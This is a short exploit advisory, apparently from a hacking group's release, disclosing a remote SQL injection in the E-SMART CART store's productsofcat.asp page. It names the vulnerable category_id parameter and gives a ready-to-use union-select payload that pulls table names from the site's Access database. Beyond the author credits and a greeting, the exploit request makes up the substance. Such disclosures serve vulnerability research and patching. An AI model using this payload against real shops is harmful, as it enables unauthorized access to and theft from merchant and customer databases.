esmartcart-sql.txt

`--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--  
--==+ E-SMART CART (productsofcat.asp) Remote SQL Injection Vulnerability +==--  
--==+====================================================================================+==--  
- dreaming of necessity is reason to comply -  
  
  
[+] Info:  
  
[~] Bug found by JosS  
[~] sys-project[at]hotmail.com  
[~] http://www.spanish-hackers.com/  
[~] EspSeC & Hack0wn!.  
  
[~] Software: E-SMART CART (payment)  
[~] HomePage: http://www.preproject.com/  
[~] Exploit: Remote SQL Injection [High]  
[~] Vuln file: productsofcat.asp  
  
[~] /store/productsofcat.asp?p=1&category_id=[SQL]  
  
[+] Exploit:  
  
[~] http://localhost/PATH/store/productsofcat.asp?p=1&category_id=[SQL]  
[~] 22+and+1=2+union+all+select+1,name,3,0+from+msysobjects  
  
* In memory of rgod  
  
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--  
--==+ JosS +==--  
--==+====================================================================================+==--  
[+] [The End]  
  
  
`